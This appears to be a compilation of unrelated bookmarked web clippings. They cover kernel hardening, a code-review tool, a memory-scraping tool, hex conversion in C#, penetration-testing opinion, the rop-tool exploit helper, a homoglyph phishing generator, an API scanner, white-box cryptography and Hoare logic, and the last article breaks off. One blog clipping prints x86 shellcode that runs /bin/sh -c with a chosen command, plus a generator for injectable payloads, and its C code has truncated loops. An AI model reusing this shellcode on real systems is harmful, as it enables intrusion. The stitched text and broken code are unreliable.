somewhere between the four quadrants of security, performance, compatibility
and functionality. As such, as an example, the only way to increase security
without affecting functionality is to impact compatibility and performance.
Although randomizing the PTE\_BASE does indeed cause potential compatibility
issues, we’ve seen here how control of the compiler \(and the underlying
linked object file\) can allow implementers to “cheat” and violate the
security quadrant, in a similar way that silicon vendors can often work with
operating system vendors in order to create overhead-free security solutions
\(one major advantage that Apple has, for example\).

This entry was posted on Friday, May 6th, 2016 at 9:34 am and is filed under
Coding and Reversing, Random Tidbits. You can follow any responses to this
entry through the RSS 2.0 feed. You can leave a response, or trackback from
your own site.

  

# Agnitio v1.1 released

**Created:**| _1/5/2011 1:11:00 PM_  
---|---  
**Updated:**| _1/5/2011 1:11:16 PM_  
**Author:**| __  
**Tags:**| _security tools code-review programming code-checks_  
  

## Agnitio v1.1 released

_bytoolstracker on January 4, 2011 · No Comments_

_**Agnitio**_ is an application security tool developed to help further the
adoption of the _Principles of Secure Development_ and to help bring more
repeatability and integrity to security code reviews.

The major changes in v1.1 are listed below:

  1. **_The first version of the principles of secure development and checklist questions knowledge base._** This includes an explanation and one or more code samples for each principle as well as an explanation of each checklist question.
  2. **_Pass or fail option for reports._** You can now specify whether an application passed or failed its review.
  3. **_Include your own logo in the reports._** The html reports now include the Agnitio logo at the top of the report but you can replace this with your own logo by overwriting Logo.png in the Agnitio directory.
  4. _**Highlight unanswered checklist questions.**_ If you try to save a report with unanswered questions these will now be highlighted rather than a generic error being thrown.

Another couple of other minor changes such as tool tips and bug fixes.

<img src='img/Temp2_494.jpg' width='388' height='364' />  
**NOTE:** If you are upgrading from Agnitio v1.0.0. There is a specific set of
instructions you must follow to upgrade to v1.1 without losing your data.

  * Language/s: C\#
  * Framework: .NET 3.5
  * Database: SQLite
  * Hashing Algorithm: SHA1

**Download Agnitio v1.1**  
https://sourceforge.net/projects/agnitiotool/files/v1.1

PDF: Secure Development Principles  
Thank you _David Rook_ from **SecurityNinja.co.uk** <img
src='img/Temp2_495.jpg' alt=';)' />

  *[January 4, 2011]: 2011-01-04

# nccgroup/mnemosyne

**Created:**| _5/7/2017 10:43:17 AM_  
---|---  
**Updated:**| _5/7/2017 10:43:17 AM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

  

Mnemosyne is a generic Windows-based memory scraping tool.

It scans a process memory space for a search string or regex \(unicode and
ascii\) then if found, spits these out either to stdout, a file or a socket to
a remote listener.

The utility is useful for memory scraping a process, as a post-exploitation
POC, a dynamic analysis mechanism for malware, an instrumentation tool to be
used during fuzzing and many other applications.

The tool works infinitely over a process \(or all running processes\) since
memory is dynamic and subject to rapid change, hence this looping may be more
beneficial for scraping specific items of interest within memory.

It uses only native Win32 API calls so no dependencies and has worked from
Windows 2000 up to Windows 10 \(compilation to different versions of .NET will
be required for older platforms\).

The main limitation is with Protected Processes - Mnemosyne will not be able
to access the virtual memory of a protected process and so will skip any such
process without scraping.

Run Mnemosyne.exe for full usage.

  

# How to convert numbers between Hex and Decimal in C\# - Stack Overflow

**Created:**| _11/1/2009 11:24:36 PM_  
---|---  
**Updated:**| _11/1/2009 11:24:50 PM_  
**Author:**| __  
**Tags:**| _bookmark C\#_  
  

## How to convert numbers between Hex and Decimal in C\#

<img src='img/Temp2_4096.png' width='40' height='25' alt='vote up' />5<img
src='img/Temp2_4098.png' width='40' height='25' alt='vote down' /><img
src='img/Temp2_4101.png' width='32' height='31' alt='star' />**3**|  How do
you convert between Hex numbers and decimal numbers in C\#? c\# conversion|
flag| asked Sep 16 '08 at 16:18 <img src='img/Temp2_4099.png' width='32'
height='32' />Andy McCluggage  
1,301●4●15  
83% accept rate  
---|---  
| add comment  
## 7 Answers

oldestnewestvotes

<img src='img/Temp2_4102.png' width='40' height='25' alt='vote up' />16<img
src='img/Temp2_4098.png' width='40' height='25' alt='vote down' /><img
src='img/Temp2_4100.png' width='30' height='31' alt='check' />| To convert
from Decimal to Hex do...

[code]

    string hexValue = decValue.ToString("X");  
    
[/code]

To convert from Hex to Decimal do either...

[code]

    int decValue = int.Parse(hexValue, System.Globalization.NumberStyles.HexNumber);  
    
[/code]

or

[code]

    int decValue = Convert.ToInt32(hexValue, 16);  
    
[/code]

| link|flag| answered Sep 16 '08 at 16:26 <img src='img/Temp2_4099.png'
width='32' height='32' />Andy McCluggage  
1,301●4●15  
---|---  
| add comment  
<img src='img/Temp2_4096.png' width='40' height='25' alt='vote up' />2<img
src='img/Temp2_4098.png' width='40' height='25' alt='vote down' />| Hex ->
decimal:

[code]

    Convert.ToInt64(hexValue, 16);  
    
[/code]

Decimal -> Hex

[code]

    string.format("{0:x}", decValue);  
    
[/code]

| link|flag| answered Sep 16 '08 at 16:23 <img src='img/Temp2_4097.png'
width='32' height='32' />Jonathan  
5,106●1●2●10  
---|---  
| add comment  
<img src='img/Temp2_4096.png' width='40' height='25' alt='vote up' />1<img
src='img/Temp2_4098.png' width='40' height='25' alt='vote down' />| looks like
you can say:

[code]

    Convert.ToInt64(value, 16)  
    
[/code]

To get the Decimal from Hex, and the other way around:

[code]

    otherVar.ToString("X");  
    
[/code]

| link|flag  
---

# On penetration testing – harmful? | cat slave diary
**Created:**| _5/11/2012 8:59:52 AM_  
---|---  
**Updated:**| _5/11/2012 8:59:52 AM_  
**Author:**| __  
**Tags:**| _pentest opinion_  
  

# On penetration testing – harmful?

Posted on

May 8, 2012

by  vanderaj

Over at Sensepost Security, there’s a new blog entry wondering about Haroon
Meer‘s talk “Penetration Testing Considered Harmful“. Those who know me know
that I’ve had this view for a very long time. I’m sure you could find a few
posts in this blog.

Security has to be a intrinsic element of every system, or else it will be
insecure. Penetration testing as a sole activity and piece of assurance
evidence makes security appear on the fringes of the development, something
that you pass or fail, something to be commodotized, a box to be ticked, and
ultimately ignored. Penetration testing as is done by most in our industry is
incredibly harmful. It’s a waste of investment to most organizations, and they
know it so they try to minimize wastage by minimizing the scope, the time, and
poo-pooing the outcomes.

Penetration testing should be a part of a wider set of security activities, a
verification of all that came before. All too often, we come across clients
who want to do a one or two day test the day before go-live. They’ve done
nothing else, and when you completely pwn them, they’re terribly surprised and
upset.

We need to move on to make penetration testing the same as unit testing – a
core part of the overall software engineering of every application.

Penetration testing should never be ill informed \(zero knowledge tests are
harmful and a WAFTAM for all concerned\), and it should have access to source,
the project, and all documentation. Otherwise, you’re wasting the client’s
money up against the wall and acting unethically in my view.

Tests should come from the risk register maintained by the project \(you do
have one of those, right?\), as well as the use cases \(the little cards on
the wall\) as well as from the OWASP ASVS / Testing Guides. More focus must be
made on access control testing and business logic testing.

Penetration testing has become vulnerability assessment – run a tool, drool,
re-write the tool’s results into a report, deliver. No\! Write selenium tasks
and automate it. If you’re not automating your pentests, how can your
customers repeat your work? Test for it? They should be taught how to do it.

Folks at consultancies will shriek away in horror at my suggestion, but
getting embedded is actually a good thing. Instead of hearing from a client
once in a blue moon, you’re integrated into the birth and growth of software.
This is a huge win for our clients and the overall security of software.

# t00sh/rop-tool

**Created:**| _4/11/2015 10:56:06 AM_  
---|---  
**Updated:**| _4/11/2015 10:56:06 AM_  
**Author:**| __  
**Tags:**| _rop_  
  
  

# rop-tool v2.1

A tool to help you writing binary exploits

###  OPTIONS

[code]

    normalrop-tool v2.1
    Help you to make binary exploits.
    
    Usage: rop-tool <cmd> [OPTIONS]
    
    Commands :
       gadget      Search gadgets
       patch       Patch the binary
       info        Print info about binary
       search      Search on binary
       help        Print help
       version     Print version
    
    Try "rop-tool help <cmd>" for more informations about a command.
    normal
[/code]

####  GADGET COMMAND

[code]

    normalUsage : rop-tool gadget [OPTIONS] [FILENAME]
    
    OPTIONS:
      --arch, -A               Select an architecture (in raw mode only)
      --all, -a                Print all gadgets (even gadgets which are not uniq)
      --depth, -d         [d]  Specify the depth for gadget searching (default is 5)
      --flavor, -f        [f]  Select a flavor (att or intel)
      --no-filter, -F          Do not apply some filters on gadgets
      --help, -h               Print this help message
      --no-color, -n           Do not colorize output
      --raw, -r                Open file in raw mode (don't considere any file format)
    
    normal
[/code]

####  SEARCH COMMAND

[code]

    normalUsage : rop-tool search [OPTIONS] [FILENAME]
    
    OPTIONS:
      --all-string, -a    [n]  Search all printable strings of at least [n] caracteres. (default is 6)
      --byte, -b          [b]  Search the byte [b] in binary
      --dword, -d         [d]  Search the dword [d] in binary
      --help, -h               Print this help message
      --no-color, -n           Don't colorize output
      --qword, -q         [q]  Search the qword [q] in binary
      --raw, -r                Open file in raw mode (don't considere any file format)
      --split-string, -s  [s]  Search a string "splited" in memory (which is not contiguous in memory)
      --string, -S        [s]  Search a string (a byte sequence) in binary
      --word, -w          [w]  Search the word [w] in binary
    
    normal
[/code]

####  PATCH COMMAND

[code]

    normalUsage : rop-tool patch [OPTIONS] [FILENAME]
    
    OPTIONS:
      --address, -a       [a]  Select an address to patch
      --bytes, -b         [b]  A byte sequence (e.g. : "\xaa\xbb\xcc") to write
      --filename, -f      [f]  Specify the filename
      --help, -h               Print this help message
      --offset, -o        [o]  Select an offset to patch (from start of the file)
      --output, -O        [o]  Write to an another filename
      --raw, -r                Open file in raw mode
    
    normal
[/code]

####  INFO COMMAND

[code]

    normalUsage : rop-tool info [OPTIONS] [FILENAME]
    
    OPTIONS:
      --filename, -f      [f]  Specify the filename
      --help, -h               Print this help message
      --no-color, -n           Disable colors
    
    normal
[/code]

###  FEATURES

  * String searching, Gadget searching, patching, info
  * Colored output
  * Intel and AT&T flavor
  * Support of ELF, PE and MACH-O binary format
  * Support of big and little endian
  * Support of x86 and x86\_64 architecture

###  EXAMPLES

Basic gadget searching

  * rop-tool g ./program 

Display all gadgets with AT&T syntax

  * rop-tool g ./program -f att -a

Search in RAW file \(not supported format\)

  * rop-tool g ./program -r

Search a "splitted" string in the binary

  * rop-tool s ./program -s "/bin/sh"

Search all strings in binary

  * rop-tool s ./program -a

Patch binary at offset 0x1000, with "\xaa\xbb\xcc\xdd" and save as "patched" :

  * rop-tool p ./program -o 0x1000 -b "\xaa\xbb\xcc\xdd" -O patched

###  SCREENSHOTS

[code]

    normalrop-tool gadget /bin/ls
    normal
[/code]

<img
src='img/68747470733a2f2f7430783073682e6f72672f7265706f2f726f702d746f6f6c2f73637265656e732f73637265656e312e706e67.png'
width='728' height='377' alt='ScreenShot' />

[code]

    normalrop-tool search /bin/ls -a
    normal
[/code]

<img
src='img/68747470733a2f2f7430783073682e6f72672f7265706f2f726f702d746f6f6c2f73637265656e732f73637265656e322e706e67.png'
width='728' height='385' alt='ScreenShot' />

[code]

    normalrop-tool search /bin/ls -s "/bin/sh\x00"
    normal
[/code]

<img
src='img/68747470733a2f2f7430783073682e6f72672f7265706f2f726f702d746f6f6c2f73637265656e732f73637265656e332e706e67.png'
width='728' height='32' alt='ScreenShot' />

[code]

    normalrop-tool search /bin/ls -w 0x90
    normal
[/code]

<img
src='img/68747470733a2f2f7430783073682e6f72672f7265706f2f726f702d746f6f6c2f73637265656e732f73637265656e342e706e67.png'
width='728' height='92' alt='ScreenShot' />

###  DEPENDENCIES

  * capstone

###  RELEASES

  * https://t0x0sh.org/repo/rop-tool/releases/

###  LICENSE

  * GPLv3 license : http://www.gnu.org/licenses/gpl-3.0.txt

###  AUTHOR

Tosh

tosh -at- t0x0sh ~dot~ org

  

# Homoglyph Attack Generator and Punycode Converter

**Created:**| _8/14/2013 1:05:01 PM_  
---|---  
**Updated:**| _8/14/2013 1:05:01 PM_  
**Author:**| __  
**Tags:**| _web-app-sec unicode_  
  

# **H** omoglyph Attack Generator****

This app is meant to make it easier to generate homographs based on Homoglyphs
than having to search for look-a-like character in Unicode, then coping and
pasting**.** Please use only for legitimate pen-test purposes and user
awareness training**.** I also recommend webapp developers use it to test out
possible user impersonation attacks in their code**.** This is still a work in
progress, so please send me suggestions \(especially for new Homoglyphs to
add\)**.** While this tool was designed with making IDNA/Punycode names for
putting into DNS to display foreign characters in a browsers URL bar, it can
be used for other things**.** Try ignoring the IDNA/Punycode stuff and just
making look alike user names for systems that accept Unicode**.** I made this
tool to easily generate homographs based on homoglyphs in Unicode and to test
out how different apps display them**.** It seems like a lot of modern
browsers have gotten better at warning the users of attack, but I'd love to
hear experiences about other apps that accept
Unicode/Punycode/Internationalized Domain Names, especially webapps**.**

For more information see my  Paper Proposal for "Out of Character: Use of
Punycode and Homoglyph Attacks to Obfuscate URLs for Phishing" **.**

**1st** , type in a name to look like:|  
---|---  
**2nd** , choose homoglyphs to use:|  
**3rd** , Output will be something like this:| Output appears here**.**  
**4th** submit so PHP can generate the IDNA/Punycode:|  
**Unicode URL to give out:**  
**Encoded label to set up in DNS:**  
Below is phlyLabs original converter if you want to try taking the Homograph
back and forth:

Original \(Unicode\)| Punycode \(ACE\)  
---|---  
PHP code based on examples and libraries from phlyLabs Berlin; part of
phlyMail  
Also thanks to http://homoglyphs.net  for helping me find more glyphs**.**
****

# ant4g0nist/Susanoo

**Created:**| _7/17/2017 11:36:38 AM_  
---|---  
**Updated:**| _7/17/2017 11:36:38 AM_  
**Author:**| __  
**Tags:**| _web-app-sec api_  
  

  

###  ReadMe.md

# Susanoo:

[code]

    Susanoo is a REST API security testing framework. 
    
[/code]

## Features

  * Configurable inputs/outputs formats
  * API Vulnerability Scan: Normal scanning engine that scans for IDOR, Authentication issues, SQL injections, Error stacks.
  * Smoke Scan: Custom output checks for known pocs can be configured to run daily.

## Types of Scans:

[code]

    * API Vulnerability Scan
    	**  Scans for following bugs:
    		***   Indirect Object References
    		***   Authentication issues
    		***   SQL injections
    		***   Error stacks
    
    * Smoke Scan
    	**  A known Proof-of-concept can be configured to run daily/weekly etc.
    
[/code]

## Configuration:

[code]

    Susanoo takes yaml files in configuration. Please check the examples folder for sample configuration files.
    
[/code]

## Parameter Types:

[code]

    	resource --> static
    		Eg: In the following example the value "password" is used for grant_type:
    
    			password: {"type":"resource", "required":True, "value":"p@ssw0rd"}
    
    	hex-n:
    		Generate hex of length n.
    			Eg: a hex value of length 16 is generated for uniqueId in below example:
    
    				id: {'type':'hex-16', 'required': True} 
    
    	int-n:
    		Generates int of size n
    			Eg: a int value of size 4 is generated for uniqueId in below example:
    			
    				bonus: {'type':'int-4', 'required':'True'}
    
    	email:
    		Generates random email id
    			Eg: a random email id is generated and assigned for email_id
    
    				email_id: {"type":"email", "required":True}
    
    	username:
    		Generates random username
    			Eg: a random username is generated and assigned for username
    
    				username: {"type":"username", "required":True}
    
    	string:
    		Generates random strings
    			Eg: generates random strings of variable length.
    
    				string: {"type":"string", "required":True}
    
    
[/code]

## Donation:

If you like the project, you can buy me beers :\)

<img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f646f6e6174652d626974636f696e2d677265656e2e737667'
width='94' height='20' alt='Donate Bitcoin' />

## Installation:

[code]

    ^^/D/projects >>> git clone https://github.com/ant4g0nist/susanoo
    ^^/D/projects >>> cd susanoo
    ^^/D/p/susanoo >>> sudo pip install -r requirements.txt
    
[/code]

## Usage:

[code]

    ^^/D/p/susanoo >>> cd db
    ^^/D/p/s/db >>> sudo mongod --dbpath . --bind_ip=127.0.0.1	
    
    ^^/D/p/susanoo >>> python susanoo.py
    
[/code]

## TODO:

  * Use celery/scheduler to schedule the scans
  * Chain apis together? pickup value from one api and use in another
  * Add more vulnerability checks
  * Make it more reliable
  * Parallelize scans using Celery
  * Add better reporting

## Thanks:

  * Go-Jek Security Team
  * restfuzz

  

# Marco Ramilli's Blog: Shell Code Generator

**Created:**| _4/3/2011 2:34:05 PM_  
---|---  
**Updated:**| _4/3/2011 2:34:18 PM_  
**Author:**| __  
**Tags:**| _shellcode C programming_  
  

## Shell Code Generator

Mar

30

Hi Folks,

today I 'd like to share another educational piece of code: it's a shell code
generator. Everybody knows that metasploit generates great payloads with just
few commands \( here my old post on the topic andhere another interesting one
\) but here, I want to show you \(and I am thinking to show it up to my future
classes\) a piece of code from BlackLight to generate shellcodes by injecting
dynamic commands from keyboard. The goal is to be able to quick generate a
shellcode \(or more generally payloads\) for Linux x86 platform giving as
input to the program a "cmd" and receiving back a perfect generated \( = NULL-
Free + within less Bytes possible\) shellcode ready to be injected.

  

So let's see how it works:

  

\#include

\#include

\#include

  

char code\[\] =

"\\\x60" /\*pusha\*/

"\\\x31\\\xc0" /\*xor %eax,%eax\*/

"\\\x31\\\xd2" /\*xor %edx,%edx\*/

"\\\xb0\\\x0b" /\*mov $0xb,%al\*/

"\\\x52" /\*push %edx\*/

"\\\x68\\\x6e\\\x2f\\\x73\\\x68" /\*push $0x68732f6e\*/

"\\\x68\\\x2f\\\x2f\\\x62\\\x69" /\*push $0x69622f2f\*/

"\\\x89\\\xe3" /\*mov %esp,%ebx\*/

"\\\x52" /\*push %edx\*/

"\\\x68\\\x2d\\\x63\\\x63\\\x63" /\*push $0x6363632d\*/

"\\\x89\\\xe1" /\*mov %esp,%ecx\*/

"\\\x52" /\*push %edx\*/

"\\\xeb\\\x07" /\*jmp 804839a \*/

"\\\x51" /\*push %ecx\*/

"\\\x53" /\*push %ebx\*/

"\\\x89\\\xe1" /\*mov %esp,%ecx\*/

"\\\xcd\\\x80" /\*int $0x80\*/

"\\\x61" /\*popa\*/

"\\\xe8\\\xf4\\\xff\\\xff\\\xff" /\*call 8048393 \*/;

  

  

First-of-all, we wanna be sure that a "cmd" \(or multiple commands in case of
parameters\) it's been passed to the main ...

  

int main \(int argc, char \*\*argv\) \{

int i,len=0;

char \*shell,\*cmd;

  

if \(\!argv\[1\]\)

exit\(1\);

  

Then, lets find out the total length. \(eventually, length of multiple
parameters\).

  

for \(i=1; i

len += strlen\(argv\[i\]\);

len += argc;

  

Once the "cmd" has been inserted, the program reserves and allocates the "cmd"
\(or "cmds" in case of parameters\) plus a space \(\x20\) for each parameter,
into the memory heap.

  

cmd = \(char\*\) malloc\(len\);

  

for \(i=1; i

strcat \(cmd,argv\[i\]\);

strcat \(cmd,"\x20"\);

\}

  

Removing the last space. After the last parameter there is no need to having
one...

  

cmd\[strlen\(cmd\)-1\]=0;

  

Now it's time to allocate enough memory into the heap to store the shellcode
template \(here called "code"\) and the command line, making the assumption
that the "program's name" is bigger then its parameters times 5 \(as max\).

  

shell = \(char\*\) malloc\( sizeof\(code\) + \(strlen\(argv\[1\]\)\)\*5 \+ 1
\);

  

\{I would probably have done ... but anyway.... shell = \(char\*\) malloc\(
sizeof\(code\) + strlen\(cmd\) + 1 \);\}

  

Copying the shellcode template:

  

memcpy \(shell,code,sizeof\(code\)\);

  

For each Byte copy into \(and after\) the shell cmd chars expressed in hex
with precision 2. Finally print the entire string in stdout.

  

for \(i=0; i

sprintf \(shell,"%s\\\x%.2x",shell,cmd\[i\]\);

printf \("%s\n",shell\);

\}

A great example of a quick shellcode generator \!

  

  

# White-Box Cryptography

**Created:**| _4/27/2010 9:44:56 PM_  
---|---  
**Updated:**| _4/27/2010 9:45:13 PM_  
**Author:**| __  
**Tags:**| _crypto_  
  

# White-Box Cryptography

## Introduction

The main question that white-box cryptography adresses, is how to implement
cryptographic algorithm in such a way that they remain secure. Hence,
primarely white-box cryptography investigates obfuscation techniques that hide
a secret key into a cryptographic software implementation. The attack model is
denoted as the white-box attack model, and defines an adversary that has full
control over the execution environment.

## A selection of the State-of-the-art

In essence, we distinguish three main directions in the research of white-box
cryptography: \(1\) analysis of existing white-box implementations and design
of suitable primitives and practical obfuscation techniques; \(2\) formal
modelling and \(im\)possibility results; and \(3\) the practical applications
and related research fields that might benefit from white-box cryptography
\(and vice versa\).  
  
An in-depth overview can be found in my PhD disseration

  * B. Wyseur, "White-Box Cryptography", PhD thesis, Katholieke Universiteit Leuven, B. Preneel \(promotor\), 169+32 pages, 2009. \[PDF\].

  
  
For each of these three directions, we present a brief selection of the state-
of-the-art.  
  

### White-box implementations and analysis

  * White-Box DES
    * S. Chow, P. Eisen, H. Johnson, P.C. van Oorschot. **A White-box DES Implementation for DRM Applications**. In Proceedings of 2nd ACM Workshop on Digital Rights Management \(DRM 2002\), volume 2696 of Lecture Notes in Computer Science, pages 1-15. Jan 13, 2003 version: ps.
    * Matthias Jacob, Dan Boneh, and Edward Felten. **Attacking an obfuscated cipher by injecting faults**. In Proceedings of 2nd ACM Workshop on Digital Rights Management \(DRM 2002\), volume 2696 of Lecture Notes in Computer Science.
    * Hamilton E. Link, William D. Neumann. **Clarifying Obfuscation: Improving the Security of White-Box DES**. ITCC \(1\) 2005, pages 679-684.
    * B. Wyseur, and Bart Preneel: **Condensed White-Box Implementations** In Proceedings of the 26th Symposium of Information Theory in the Benelux, 2005
    * Louis Goubin, Jean-Michel Masereel, and Michael Quisquater. **Cryptanalysis of White-Box DES Implementations**. Cryptology ePrint Archive, Report 2007/035, 2007. http://www.eprint.iacr.org/. pdf
    * Brecht Wyseur, Wil Michiels, Paul Gorissen, and Bart Preneel. **Cryptanalysis of White-Box DES Implementations with Arbitrary External Encodings**. Cryptology ePrint Archive, Report 2007/104, 2007. http://www.eprint.iacr.org/. pdf
  * White-Box AES
    * S. Chow, P. Eisen, H. Johnson, P.C. van Oorschot. **White-Box Cryptography and an AES Implementation**. In 9th Annual Workshop on Selected Areas in Cryptography \(SAC 2002\), Aug.15-16 2002, St. John's, Canada. Proceedings \(revised papers\): pp.250-270, Springer LNCS 2595 \(2003\). Sept.30 2002 version: ps. Earlier version \(pre-proceedings\): ps.
    * Olivier Billet, Henri Gilbert, Charaf Ech-Chatbi. **Cryptanalysis of a White Box AES Implementation**. In Selected Areas in Cryptography 2004 \(SAC 2004\), pages 227-240.
    * Julien Bringer, Herve Chabanne, and Emmanuelle Dottax. **White Box Cryptography: A New Attempt** , Cryptology ePrint Archive, Report 2006/468, 2006

### Formal modelling and \(im\)possibility results

  * A. Saxena, B. Wyseur, and B. Preneel. **White-Box Cryptography: Formal Modelling and \(im\)possibility Results**. Submitted to CSF 2009.   
  
Related to the research field of theoretic obfuscation

  * B. Barak, O. Goldreich, R. Impagliazzo, S. Rudich, A. Sahai, S. Vadhan, and K. Yang. **On the \(Im\)possibility of Obfuscating Programs**. In Advances in Cryptology - CRYPTO 2001, volume 2139 of Lecture Notes in Computer Science, pages 1-18. Springer-Verlag, 2001.
  * Shafi Goldwasser and Yael Tauman Kalai. **On the Impossibility of Obfuscation with Auxiliary Input**. In Proceedings of the 46th Symposium on Foundations of Computer Science \(FOCS 2005\), IEEE Computer Society, pages 553-562.
  * B. Lynn, M. Prabhakaran, and A. Sahai. **Positive Results and Techniques for Obfuscation**. In Advances in Cryptology - EUROCRYPT 2004, volume 3027 of Lecture Notes in Computer Science, pages 20-39. Springer-Verlag, 2004.
  * Hoeteck Wee. On Obfuscating Point Functions. In Proceedings of the 37th ACM Symposium on Theory of Computing \(STOC 2005\), pages 523-532.
  * Dennis Hofheinz, John Malone-Lee, and Martijn Stam. **Obfuscation for Cryptographic Purposes**. In Proceedings of 4th Theory of Cryptography Conference \(TCC 2007\), volume 4392 of Lecture Notes in Computer Science, pages 214-232. Springer-Verlag, 2007.
  * Susan Hohenberger, Guy Rothblum, Abhi Shelat, and Vinod Vaikuntanathan. **Securely Obfuscating Re-Encryption**. In Proceedings of 4th Theory of Cryptography Conference \(TCC 2007\), volume 4392 of Lecture Notes in Computer Science, pages 233-252. Springer-Verlag, 2007.
  * Ran Canetti and Mayank Varia. **Non-Malleable Obfuscation**. In Proceedings of 6th Theory of Cryptography Conference \(TCC 2009\), volume 5444 of Lecture Notes in Computer Science, pages 73-90. Springer, 2009.

### Applications and related research fields

  * Olivier Billet and Henri Gilbert. A Traceable Block Cipher. In Advances in Cryptology - ASIACRYPT 2003, volume 2894 of Lecture Notes in Computer Science, pages 331-346. Springer-Verlag, 2003.
  * Wil Michiels and Paul Gorissen. Mechanism for Software Tamper Resistance: an Application of White-Box Cryptography. In Proceedings of 7th ACM Workshop on Digital Rights Management \(DRM 2007\), pages 82-89.
  * Ryad Benadjila, Olivier Billet, and Stanislas Francfort. DRM to Counter Side-Channel Attacks? In Proceedings of 7th ACM Workshop on Digital Rights Management \(DRM 2007\), pages 23-32.

## Resources

  

### Slides

  * March 2009 - PhD defense presentation -- \[PDF\]

### Tools

  * \[wbDES \(Linux\) wbDES.exe \(Cygwin\), wbDES\_win.exe \(Windows\), 1.2 Mb\]: A white-box DES encryption binary with embedded secret key. If you like, try to extract the secret key, using all information you can find from this implementation \(input-ouput attacks, so called black box attacks, are not allowed\).

  
---

# Hoare logic - Wikipedia, the free encyclopedia

**Created:**| _6/21/2011 8:06:31 AM_  
---|---  
**Updated:**| _6/21/2011 8:09:19 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark reversing_  
  

# using Hoare logic like Petri net transitions for an SMT solver to model
reachability over a \(statically\) given program path.

#  

#  

# Hoare logic

From Wikipedia, the free encyclopedia

Jump to: navigation, search

**Hoare logic** \(also known as **Floyd–Hoare logic** or **Hoare rules**\) is
a formal system with a set of logical rules for reasoning rigorously about the
correctness of computer programs. It was proposed in 1969 by the British
computer scientist and logician C. A. R. Hoare, and subsequently refined by
Hoare and other researchers.\[1\] The original ideas were seeded by the work
of Robert Floyd, who had published a similar system\[2\] for flowcharts.

## Contents

  * 1 Hoare Triple
  * 2 Partial and total correctness
  * 3 Rules
    * 3.1 Empty statement axiom schema
    * 3.2 Assignment axiom schema
    * 3.3 Rule of composition
    * 3.4 Conditional rule
    * 3.5 Consequence rule
    * 3.6 While rule
    * 3.7 While rule for total correctness
  * 4 Examples
  * 5 See also
  * 6 References
  * 7 Further reading
  * 8 External links

  
---  
## \[edit\] Hoare Triple

The central feature of **Hoare logic** is the **Hoare triple**. A triple
describes how the execution of a piece of code changes the state of the
computation. A Hoare triple is of the form

    <img src='img/Temp2_3911.png' alt='\{P\}\;C\;\{Q\}' />
where _P_ and _Q_ are _assertions_ and _C_ is a _command_. _P_ is named the
_precondition_ and _Q_ the _postcondition_ : when the precondition is met, the
command establishes the postcondition. Assertions are formulas in predicate
logic.

Hoare logic provides axioms and inference rules for all the constructs of a
simple imperative programming language. In addition to the rules for the
simple language in Hoare's original paper, rules for other language constructs
have been developed since then by Hoare and many other researchers. There are
rules for concurrency, procedures, jumps, and pointers.

## \[edit\] Partial and total correctness

Standard Hoare logic proves only partial correctness, while termination needs
be proved separately. Thus the intuitive reading of a Hoare triple is:
Whenever _P_ holds of the state before the execution of _C_ , then _Q_ will
hold afterwards, or _C_ does not terminate. Note that if _C_ does not
terminate, then there is no "after", so _Q_ can be any statement at all.
Indeed, one can choose _Q_ to be false to express that _C_ does not terminate.

Total correctness can be also proven with an extended version of the While
rule.

## \[edit\] Rules

### \[edit\] Empty statement axiom schema

The empty statement rule asserts that the **skip** statement does not change
the state of the program, thus whatever holds true before **skip** also holds
true afterwards.

    <img src='img/Temp2_3928.png' alt=' \frac{}{\{P\}\ \textbf{skip}\ \{P\}} \!' />
### \[edit\] Assignment axiom schema

The assignment axiom states that after the assignment any predicate holds for
the variable that was previously true for the right-hand side of the
assignment:

    <img src='img/Temp2_3908.png' alt=' \frac{}{\{P[E/x]\}\ x:=E \ \{P\} } \!' />
Here _P_\[_E_ / _x_\] denotes the expression _P_ in which all free occurrences
of the variable _x_ have been replaced with the expression _E_.

The assignment axiom means that the truth of \{_P_\[_E_ / _x_\]\} is
equivalent to the after-assignment truth of \{_P_\}. Thus were \{_P_\[_E_ /
_x_\]\} _true_ prior to the assignment, by the assignment axiom, then \{_P_\}
would be _true_ subsequent to which. Conversely, were \{_P_\[_E_ / _x_\]\}
_false_ prior to the assignment statement, \{_P_\} must then be _false_
consequently.

Examples of valid triples include:

    
  * <img src='img/Temp2_3918.png' alt='\{x+1 = 43\}\ y:=x + 1\ \{ y = 43 \}\!' />
  * <img src='img/Temp2_3929.png' alt='\{x + 1 \leq N \}\ x := x + 1\ \{x \leq N\}\ \!' />

The assignment axiom proposed by Hoare _does not apply_ when more than one
name may refer to the same stored value. For example,

    <img src='img/Temp2_3926.png' alt='\{ y = 3\} \ x := 2\ \{y = 3 \}' />
is not a true statement if _x_ and _y_ refer to the same variable, because no
precondition can cause _y_ to be 3 after _x_ is set to 2.

### \[edit\] Rule of composition

Hoare's rule of composition applies to sequentially-executed programs _S_ and
_T_ , where _S_ executes prior to _T_ and is written _S;T_.

    <img src='img/Temp2_3910.png' alt=' \frac {\{P\}\ S\ \{Q\}\ , \ \{Q\}\ T\ \{R\} } {\{P\}\ S;T\ \{R\}} \!' />
For example, consider the following two instances of the assignment axiom:

    <img src='img/Temp2_3921.png' alt='\{ x + 1 = 43\} \ y:=x + 1\ \{y =43 \}' />
and

    <img src='img/Temp2_3922.png' alt='\{ y = 43\} \ z:=y\ \{z =43 \}' />
By the sequencing rule, one concludes:

    <img src='img/Temp2_3909.png' alt='\{ x + 1 = 43\} \ y:=x + 1; z:= y\ \{z =43 \}' />
### \[edit\] Conditional rule

    <img src='img/Temp2_3906.png' alt='\frac { \{B \wedge P\}\ S\ \{Q\}\ ,\ \{\neg B \wedge P \}\ T\ \{Q\} } { \{P\}\ \textbf{if}\ B\ \textbf{then}\ S\ \textbf{else}\ T\ \textbf{endif}\ \{Q\} } \!' />
### \[edit\] Consequence rule

    <img src='img/Temp2_3912.png' alt=' \frac { P^\prime \rightarrow\ P\ ,\ \lbrace P \rbrace\ S\ \lbrace Q \rbrace\ ,\ Q \rightarrow\ Q^\prime } { \lbrace P^\prime\ \rbrace\ S\ \lbrace Q^\prime\rbrace } \!' />
### \[edit\] While rule

    <img src='img/Temp2_3917.png' alt='\frac { \{P \wedge B \}\ S\ \{P\} } { \{P \}\ \textbf{while}\ B\ \textbf{do}\ S\ \textbf{done}\ \{\neg B \wedge P\} } \!' />
Here _P_ is the loop invariant.

### \[edit\] While rule for total correctness

    
